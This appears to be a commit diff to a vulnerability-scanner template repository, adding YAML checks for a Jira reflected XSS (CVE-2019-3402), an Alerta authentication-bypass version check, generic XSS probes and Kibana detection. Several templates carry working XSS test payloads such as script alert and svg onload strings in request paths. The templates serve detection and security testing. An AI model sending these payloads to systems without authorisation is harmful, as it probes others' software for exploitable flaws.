Merge pull request #606 from CasperGN/cve-2020-26214

Add cve-2020-26214 detection

cves/CVE-2019-3402.yaml

@@ -0,0 +1,24 @@
+id: cve-2019-3402
+
+info:
+  name: Jira - Reflected XSS using searchOwnerUserName parameter.
+  author: pdteam
+  severity: medium
+  description: The ConfigurePortalPages.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the searchOwnerUserName parameter.
+
+  # Source:- https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(1)</script>"
+        part: body

cves/CVE-2020-26214.yaml

@@ -0,0 +1,34 @@
+id: cve-2020-26214
+info:
+
+  name: Alerta Authentication Bypass (CVE-2020-26214)
+  author: CasperGN
+  severity: critical
+  description: Alerta prior to version 8.1.0 is prone to Authentication Bypass when using LDAP as authorization provider and the LDAP server accepts Unauthenticated Bind reqests.
+
+  # Reference: https://github.com/advisories/GHSA-5hmm-x8q8-w5jh
+  # Reference: https://tools.ietf.org/html/rfc4513#section-5.1.2
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/api/config'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+          - 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+        condition: or
+    extractors:
+      - type: regex
+        part: body
+        name: alerta-version
+        group: 1
+        regex:
+          - 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+          - 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'

generic-detections/basic-xss-prober.yaml

@@ -2,7 +2,7 @@ id: basic-xss-prober
 
 info:
   name: Basic XSS Prober
-  author: nadino
+  author: nadino & geeknik
   severity: low
 
   # Basic XSS prober
@@ -12,7 +12,15 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/%61%27%22%3e%3c%69%6e%6a%65%63%74%61%62%6c%65%3e"
+    matchers-condition: and
     matchers:
       - type: word
         words:
           - "\"><injectable>"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true

generic-detections/top-15-xss.yaml

@@ -5,8 +5,8 @@ info:
   # Name is the name of the template
   name: Top 15 XSS Check
   # Author is the name of the author for the template
-  # Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, p
-  author: foulenzer
+  # Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, name, key, p
+  author: foulenzer & geeknik
   # Severity is the severity for the template.
   severity: medium
   #  Description optionally describes the template.
@@ -16,6 +16,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E"
+    redirects: true
+    max-redirects: 1
     matchers-condition: and
     matchers:
       - type: word
@@ -25,4 +27,4 @@ requests:
       - type: word
         words:
           - "text/html"
-        part: header
+        part: header

technologies/kibana-detect.yaml

@@ -0,0 +1,24 @@
+id: kibana-detect
+
+info:
+  name: Kibana Service Detection
+  author: petruknisme
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/login?next=%2F"
+      - "{{BaseURL}}/bundles/login.bundle.js"
+      - "{{BaseURL}}/bundles/kibana.style.css"
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers:
+      - type: word
+        words:
+          - "<title>Kibana</title>"
+          - "kibanaLoaderWrap"
+          - "kibanaLoader"
+          - "xpack"
+          - "Elasticsearch B.V"
+        condition: or

workflows/jira-exploitaiton-workflow.yaml

@@ -19,6 +19,7 @@ variables:
         jira_cve_6: cves/CVE-2020-14179.yaml
         jira_cve_7: cves/CVE-2020-14181.yaml
         jira_cve_8: cves/CVE-2019-8442.yaml
+        jira_cve_9: cves/CVE-2019-3402.yaml
 
 logic:
         |
@@ -36,4 +37,5 @@ logic:
                 jira_cve_6()
                 jira_cve_7()
                 jira_cve_8()
+                jira_cve_9()
         }

workflows/wordpress-workflow.yaml

@@ -17,6 +17,8 @@ variables:
   wordpress_tmm_db_migrate: files/wordpress-tmm-db-migrate.yaml
   wordpress_social_metrics_tracker: vulnerabilities/wordpress-social-metrics-tracker.yaml
   w3c_total_cache_ssrf: vulnerabilities/w3c-total-cache-ssrf.yaml
+  wordpress_wpcourses_info_disclosure: vulnerabilities/wordpress-wpcourses-info-disclosure.yaml
+  sassy_social_share: vulnerabilities/sassy-social-share.yaml
   wordpress_cve: cves/CVE-2019-9978.yaml
   wordpress_cve_2: cves/CVE-2019-6715.yaml